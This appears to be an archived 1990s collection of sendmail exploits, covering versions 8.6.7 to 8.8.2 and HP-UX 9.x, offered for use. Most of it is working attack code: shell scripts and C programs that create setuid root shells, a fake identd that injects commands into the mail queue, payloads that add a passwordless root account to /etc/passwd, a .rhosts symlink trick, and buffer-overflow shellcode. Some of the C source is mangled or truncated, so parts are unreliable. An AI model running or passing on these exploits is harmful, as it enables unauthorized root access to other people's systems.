echo "Creating calc..."
cat > calc.c << _EOF_
/*
* Determines offset in sendmail of
* sendmail.cf file location.
* author: timothy newsham
*/
#include
gencore()
int pid;
int fd[2];
if(pipe(fd) < 0) {
perror("pipe");
exit(1);
return(0);
}
pid = fork();
if(!pid) {
int f = open("./out", O_RDWR|O_CREAT, 0666);
dup2(f, 1); dup2(fd[0], 0);
close(f); close(fd[1]); close(fd[0]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
perror("exec");
exit(0);
} else {
sleep(2);
kill(pid, 11);
}
close(fd[0]);
close(fd[1]);
main(argc,argv)
char **argv;
int argc;
unsigned int ConfFile,tTdvect,off;
gencore();
sync(); /* grr. */
tTdvect = find("ZZZZZZZZ", "core");
ConfFile = find(argv[1], "core");
if(!tTdvect || !ConfFile) {
return(1);
}
off = ConfFile - tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
int find(pattern, file)
char *pattern,*file;
int fd;
int i, addr;
char c;
fd = open(file, 0);
i = 0;
addr = 0;
while(read(fd, &c, 1) == 1) {
if(pattern[i] == c)
i++;
else
i=0;
if(pattern[i] == '\0') {
addr -= strlen(pattern);
return(addr);
}
addr++;
}
return(0);
_EOF_
cc calc.c -o calc
echo "Scanning core image for $CONFIG..."
DEBUGFLAGS=`calc $CONFIG`
echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.
/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
" > alias.sh
chmod 755 alias.sh
echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases
echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow
OA/$TEMPDIR/aliases # our fake alias file
Ou0 # user ID to run as
Og0 # group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf
echo "Creating the sendmail script..."
cat > sendmail.script << _EOF_
helo
mail from:
rcpt to:
data
yet another sendmail hole? suid whoop?
\. # oops.. delete \ prior to execution
quit
_EOF_
echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
# give it time to execute.
sleep 4
# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
if [ -u setid0 ]
then
echo "setid0 is a suid shell. executing..."
cd /
$TEMPDIR/setid0 /bin/csh
echo "end of script."
exit 0
else
echo "setid0 is not suid; script failed."
echo "apparently, you don't have the bug. celebrate :-)"
exit 1
fi
--------------------------------- CuT HeRe --------------------------------
-oE/filename bounce = 8.6.7 =
Version affected: 8.6.7
A bug in Sendmail 8.6.7 allows anyone to read any file, including the
shadowed password file:
/usr/lib/sendmail -oE/etc/shadow bounce
From: your_username
8.6.9 = 8.6.9 or earlier =
Mail any file to yourself.
------8<-------------------Cut Here--------------------8<-------------------
# This is a shell archive. Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file". Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
# description
# sm869.local
# sm869.remote
#
echo x - description
sed 's/^X//' >description << 'END-of-description'
X
XProgram: sm869.remote
X
Xyou can:
X
X run the body of the mail through a shell if
X sendmail is allowed to run a shell.
X
X write the whole message to a file.
X
X have it send back a file to an account you specify.
X
XThe last option is supposed to remove the file after sending
Xit but I found that it hasn't in my tests. Why? Well
Xit has multiple recipients, one of the recipients is a
Xrecipient that will never go through. So the data file
Xgets kept around until it gives up on that host. This
Xcan be several days.
X
XProblems:
X
X The action you specify will happen every 30minutes (the
X queue time, may be different) until it gives up sending
X to the unreachable host. (Actually this may be false.
X I haven't left it around long enough to see if this happens.
X Perhaps sendmail is smart enough to remove the other recipients
X that did get delievered from the queue file).
X
X If you send a file back to yourself it may get removed
X several days later. If you get the password file or
X some other critical file you had better be ready to clean
X up.
X
X Lots of logs. Its fairly obvious from the log files that
X some hokey pokey is going on. If you're sending a file
X back to yourself then you're pointing a finger at one
X of your accounts
X
XYou have to go into the program to change the options you
Xwant. The code is fairly well commented so this shouldn't
Xbe any problem.
X
XProgram: sm869.local
X
XSame thing as above really except it works even if sendmail
Xdoesnt check identd and you dont have to specify an unreachable
Xhost. The file goes straight to the queue.
X
END-of-description
echo x - sm869.local
sed 's/^X//' >sm869.local << 'END-of-sm869.local'
X#!/bin/sh
X#
X# Exploit hole in sendmail 8.6.9 and earlier.
X#
X
X# Either write a file or run a program.
X#ACTION="|/tmp/runme"
XACTION="/tmp/writeme"
X
X# Data file to read from and then remove
XDATAFILE="/tmp/abc"
X#DATAFILE=""
X
X# Who to run as
XRUNAS="bin"
X
X# Who to send mail to
XWHOAMI=`whoami`
XSENDTO=$WHOAMI
X#SENDTO="someone-else"
X
X# Build up arg and send it off
Xif [ -n "$DATAFILE" ] ; then
XARG="$WHOAMI
XD$DATAFILE
XC:$RUNAS
XR\"$ACTION\""
Xelse
XARG="$WHOAMI
XC:$RUNAS
XR\"$ACTION\""
Xfi
Xsendmail -odq -F"$ARG" $SENDTO << _END_
XThis is appearing in the mailbox
Xand also being piped to the program or
Xwritten to the file, UNLESS you specify
Xa datafile above. In that case the datafile
Xwill be written and erased and this text will
Xbe left (not deleted) in the queue directory.
X_END_
X
END-of-sm869.local
echo x - sm869.remote
sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
X#!/bin/sh
X#
X# exploit for sm869 or worse
X# identd must not be enabled (port 113 must be free)
X
X# this must be a host that mail can go to (MX not pointing elsewhere)
X# that we cant reach right now (ie. host doesnt exist anymore)
XUNREACHABLE="goofy.uhcc.hawaii.edu"
X
X# Commands to run on remote host
XCOMMANDS="touch /tmp/gotcha"
X
X# what host to run it on
XTARGET="localhost"
X
X# work in a temp dir
XTD=/tmp/.Xwork.$$
Xmkdir $TD
Xcd $TD
X
Xcat > a.c <<_END_
X#include
X#include
X#include
X
X/* run body of mail through shell run as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed
'1,/^$/d'|/bin/sh\"\nHXxx:
"
X
X#ifdef other_possibilities
X/* write to a file as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
X/* send back a file to someone and erase it */
X#define REPLY "USERID : UNIX :
a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
X#endif
X
Xreadline(fd, buf, len)
Xchar *buf;
X{
X int i = 0;
X
X while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
X if(buf[i] == '\r' || buf[i] == '\n')
X break;
X i++;
X }
X buf[i] = '\0';
X}
X
Xdie(str)
Xchar *str;
X{
X perror(str); exit(1);
X}
X
Xmain()
X{
X int s, s2, adlen;
X struct sockaddr_in ad;
X char buf[60];
X
X ad.sin_family = AF_INET;
X ad.sin_port = htons(113);
X ad.sin_addr.s_addr = INADDR_ANY;
X if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
X if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
X if(listen(s, 1) == -1) die("listen");
X adlen = sizeof(ad);
X s2 = accept(s, (struct sockaddr *)&ad, &adlen);
X if(s2 == -1) die("accept");
X printf("Connection from %s port %d\n",
X inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
X readline(s2, buf, 50);
X sprintf(buf + strlen(buf), " : %s\n", REPLY);
X write(s2, buf, strlen(buf));
X}
X_END_
X
X# compile program
Xecho "compiling"
Xcc a.c -o ident
Xecho "running fake ident"
X./ident &
X
X# send to reomte
Xecho "talking to remote"
X(
X sleep 1; echo "helo"
X sleep 1; echo "mail from: "
X sleep 1; echo "rcpt to: "
X sleep 1; echo "data"
X echo "$COMMANDS"
X echo "."
X sleep 1; echo "quit"
X sleep 5
X) | telnet $TARGET 25
X
X# cleanup
Xcd /
Xrm -rf $TD
Xecho "done."
X
END-of-sm869.remote
exit
.................................. CuT HeRe ..................................
8.6.9 newlines = 8.6.9 =
When a message is queued for delivery by sendmail, a pair of files are
written to the spool directory (/var/spool/mqueue on many systems). One of
these files (qf) contains information related to the processing
of the message (headers, sender, recipient, etc.). Taking versions of
sendmail prior to 8.6.10 as an example, one of the pieces of information
maintained in this file is the name of the controlling user if mail is
being delivered to a script (or file). By feeding sendmail a recipient
address that contains newlines, it is possible to add lines to the queue
file which specify a controlling user and an executable to run with that
users access level. The 8.6.10 patch removes this hole, by stripping
newlines from the recipient address before writing the queue file.
EXPLOIT:
/* smh.c - Michael R. Widner - atreus (2/27/95)
*
* a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
* hole. It's really just a matter of passing newlines in arguments to
* sendmail and getting the stuff into the queue files. If we run this
* locally with -odq we are guaranteed that it will be queue, rather than
* processed immediately. Wait for the queue to get processed automatically
* or just run sendmail -q if you're impatient.
* usage: smh [ username [/path/to/sendmail]]
* It's worth noting that this is generally only good for getting bin.
* sendmail still wants to process the sendmail.cf file, which contains
* Ou1 and Og1 most of the time, limiting you to bin access. Is there
* a way around this?
* cc -o smh smh.c should do the trick. This just creates a bin owned
* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some
* systems this is pretty much worthless, but you're smart enough to know
* which systems those are. Aren't you?
*/
#include
#include
#include
main(argc, argv)
int argc;
char **argv;
{
execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
"ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$rascii ",
argv[1] ? argv[1] : "atreus",0);
}
................................ CuT HeRe ..................................
8.6.10 ident/newlines = 8.6.10 =
This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10
inherited from sendmail 8.6.9 .... Look at comments in the source. Two
exploits follow:
/* 8.6.10 sendmail attacker
*
* gcc ident.c -o ident
* add the following line to your /etc/inetd.conf:
* ident stream tcp nowait root /tmp/ident in.identd
* then kill -HUP inetd
*
* Not for not public use or disclosure.
*
* This is a sendmail 8.6.10 attack based on the problems that
* sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
* information given to it by identd, which included bogus characters
* and newlines that it later appended to the queue file. Sendmail 8.6.10
* supposedly "strips" newlines before they are written, however, it
* converts them to spaces, and the following code demonstrates that
* quick work-around patches are never ever stable...
*
* NOTES: This hack only works when sendmail queues up the message for
* later delivery. This depends on the configuration of sendmail.cf and
* on the machine loading. If you can do something to drag the machine to
* its knees, then fire off this attack, you stand a much better chance of
* success.
*
* NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
* default user to bin.bin), this exploit will not work.
*
* Also, since this only works when sendmail queues up the message for
* later delivery, the time of execution is dependant on how sendmail
* has been configured in sendmail.cf and machine load. Heavily loaded
* machines (or machines that have been intentionally flooded) have a
* greater possibility of this exploit working.
*
*/
#include
#include
#include
#include
#include
#include
#include
/* TIMEOUT is the number of seconds to wait before closing the connection if
* the client doesn't provide the port pairs.
*/
#define TIMEOUT 120
/* PROCINFO_BUFFER_SIZE must be bigger than 80 */
#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100
unsigned short lport = 0, rport = 0;
void
main ()
{
unsigned long here, there;
struct fd_set fdset;
struct timeval timeout;
char buffer[OUTPUT_BUFFER_SIZE];
char inbuffer[SOCKET_BUFFER_SIZE];
int len;
int fd;
FD_ZERO (&fdset);
FD_SET (0, &fdset);
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
select (1, &fdset, NULL, NULL, &timeout);
len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
if (len <= 0)
exit (0);
FD_SET (0, &fdset);
sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
"Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh
>> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
write (1, buffer, strlen (buffer));
exit (0);
}
................................ CuT HeRe ..................................
Second Exploit follows:
/* 8.6.10 sendmail attacker
*
* gcc ident.c -o ident
* add the following line to your /etc/inetd.conf:
* ident stream tcp nowait root /tmp/ident in.identd
* then kill -HUP inetd
*
* Not for not public use or disclosure.
*
* This is a sendmail 8.6.10 attack based on the problems that
* sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting
* information given to it by identd, which included bogus characters
* and newlines that it later appended to the queue file. Sendmail 8.6.10
* supposedly "strips" newlines before they are written, however, it
* converts them to spaces, and the following code demonstrates that
* quick work-around patches are never ever stable...
*
* NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
* default user to bin.bin), this exploit will not work.
*
* Also, since this only works when sendmail queues up the message for
* lar delivery, the time of execution is dependant on how sendmail
* has been configured in sendmail.cf and machine load. Heavily loaded
* machines (or machines that have been intentionally flooded) have a
* greater possibility of this exploit working.
*
*/
#include
#include
#include
#include
#include
#include
#include
/* TIMEOUT is the number of seconds to wait before closing the connection if
* the client doesn't provide the port pairs.
*/
#define TIMEOUT 120
/* PROCINFO_BUFFER_SIZE must be bigger than 80 */
#define OUTPUT_BUFFER_SIZE 2048
#define SOCKET_BUFFER_SIZE 100
unsigned short lport = 0, rport = 0;
void
main ()
{
unsigned long here, there;
struct fd_set fdset;
struct timeval timeout;
char buffer[OUTPUT_BUFFER_SIZE];
char inbuffer[SOCKET_BUFFER_SIZE];
int len;
int fd;
FD_ZERO (&fdset);
FD_SET (0, &fdset);
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
select (1, &fdset, NULL, NULL, &timeout);
len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
if (len <= 0)
exit (0);
FD_SET (0, &fdset);
sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
"Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t
Mlocal,
P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/:
/bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n
$rascii done");
write (1, buffer, strlen (buffer));
exit (0);
}
................................ CuT HeRe ..................................
HP-UX = HP-UX 9.x =
#!/bin/sh
# This works on virgin HPUX 9.x sendmail.cf
# The link can be set to any file on the system, it will append the contents
# of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
# - sirsyko
r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
RunDMC=`hostname`
if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
fi
if [ -f /tmp/dead.letter ]; then
echo "Sorry, aint gonna work"
exit
fi
ln -s ${r00tDIR}/.rhosts /tmp/dead.letter
(
sleep 1
echo "helo"
echo "mail from: noone"
echo "rcpt to: noone@bounce"
echo "data"
echo "+ +"
echo "."
sleep 3
echo "quit"
) | telnet ${RunDMC} 25
sleep 5
remsh ${RunDMC} -l root
............... CuT HeRe ...............
What the r00t guys exploit does is just this:
* creates a symbolic link to the target file (in this case '.rhosts' in
root's directory) called '/tmp/dead.letter'.
* Then sends a message (containing lines you want to append) to a
non-existent user.
* Sendmail is configured (as default) to append lines of non-recipient
messages to '/tmp/dead.letter' and does it with root privileges. If
'/tmp/dead.letter' is a symbolic link Sendmail will follow it and will
overwrite the pre-existent file.
* Probably if Sendmail configuration has been changed to make it behave
in a different way, looking at the cf file could lead you to exploit
the bug the same.
8.7.5 gecos = 8.X.X <8.8.0 = TeSTed oN 8.6.12
This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996,
excerpts follow:
A buffer overflow condition exists that allows a user to overwrite the
information in a saved stack frame. When the function returns, the saved
frame is popped off of the stack and user code can be executed. If a user
is able to alter his/her gecos field then that user can exploit a coding
flaw in sendmail to elevate their effective UID to 0.
The actual problem in the code is quite apparent.
Inside recipient.c we find the following:
char nbuf[MAXNAME + 1];
...
buildfname(pw->pw_gecos, pw->pw_name, nbuf);
The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we
will soon see, buildfname() does not honor this. [ ..... ]
This particular problem has been fixed in Sendmail 8.8 beta.
Here we have an example of exploit:
------------------------------ Cut Here ------------------------------------
/* Hi ! */
/* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0). */
/* If you have any problems with it, send letter to me. */
/* Have fun ! */
/* ----------------- Dedicated to my beautiful lady ------------------ */
/* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su */
#include
main()
{
void make_files();
make_files();
system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e
cho See result in /tmp");
}
void make_files()
{
int i,j;
FILE *f;
char nop_string[200];
char code_string[]=
{
"\xeb\x50" /* jmp
cont */
/* geteip: */ "\x5d" /* popl
%ebp */
"\x55" /* pushl
%ebp */
"\xff\x8d\xc3\xff\xff\xff" /* decl
0xffffffc3(%ebp) */
"\xff\x8d\xd7\xff\xff\xff" /* decl
0xffffffd7(%ebp) */
"\xc3" /* ret */
/* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
/* 0xffffffc3(%ebp): */ "\x3c"
"chmod a=rsx /tmp/sh"
/* 0xffffffd7(%ebp): */ "\x01"
"-leshka-leshka-leshka-leshka-" /* reserved */
/* cont: */ "\xc7\xc4\x70\xcf\xbf\xef" /* movl
$0xefbfcf70,%esp */
"\xe8\xa5\xff\xff\xff" /* call
geteip */
"\x81\xc5\xb4\xff\xff\xff" /* addl
$0xb4ffffff,%ebp */
"\x55" /* pushl %ebp */
"\x55" /* pushl %ebp */
"\x68\xd0\x77\x04\x08" /* pushl
$0x80477d0
*/
"\xc3" /* ret */
"-leshka-leshka-leshka-leshka-" /* reserved */
"\xa0\xcf\xbf\xef"
};
j=269-sizeof(code_string);
for(i=0;i\"$1\"\n");
fprintf(f,"touch -t 2510711313 \"$1\"\n");
fclose(f);
}
................................ Cut Here ................................
mime7to8() = 8.8.0 =
An attacker can simply create a very large message in which each line ends
with "=" and use it to overwrite the sendmail process's stack. Here the bug
is only described... why doesn't someone write an exploit?!
There is a serious bug in the mime7to8() function of sendmail 8.8.0 which
allows anyone who can send you mail to execute arbitrary code as root on
your machine. I think mime7to8() only gets invoked if you set the
undocumented "9" mailer flag. However, this flag is set by default in the
cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are
using an old V6 format configuration file from sendmail 8.7, you are
probably safe, but if you generated a new V7 configuration file, you are
probably vulnerable to this bug.
Now here are the technical details:
The inner loop of mime7to8() looks like this:
u_char *obp;
char buf[MAXLINE];
u_char obuf[MAXLINE];
....
/* quoted-printable */
obp = obuf;
while (fgets(buf, sizeof buf, e->e_dfp) != NULL)
{
if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0)
continue;
putline((char *) obuf, mci);
obp = obuf;
}
When mime_fromqp() encounters a line that ends "=\n", it chops those two
characters off and returns 0 to indicate a continuation line. This causes
the while loop to continue, reading another input line and appending its
contents to obuf. However, when the loop continues without resetting obp to
obuf, there are fewer than MAXLINE characters left in the output buffer.
This means an attacker can simply create a very large message in which each
line ends with "=". Eventually obp will move beyond the end of obuf and
start writing almost arbitrary data to the sendmail process's stack (as
long as no bytes are 0).
smtpd = 8.7-8.8.2 =
Read the exploit and don't bother:
------------------------------ Cut Here --------------------------------
#/bin/sh
#
#
# Hi !
# This is exploit for sendmail smtpd bug
# (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
# This shell script does a root shell in /tmp directory.
# If you have any problems with it, drop me a letter.
# Have fun !
#
#
# ----------------------
# ---------------------------------------------
# ----------------- Dedicated to my beautiful lady ------------------
# ---------------------------------------------
# ----------------------
#
# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh
.............................. Cut Here ...................................
|---------------------- Credits ----------------------|
All this info was mainly grabbed from:
* Bugtraq
* 8lgm
* In***ax Digest
* "Improving the Security of Your Site by Breaking Into it" By Dan
Farmer & Wietse Venema
* "Sendmail Bug Exploits List v.04b" By Per1com/Xer0
* "Time For a Change" #1 'UNIX problems, for fun and exploit.' By Ghost
in the Machine
This page was created Wed Aug 11 12:22:52 EDT 1999
Using Linux
version 2.0.32
on an i586
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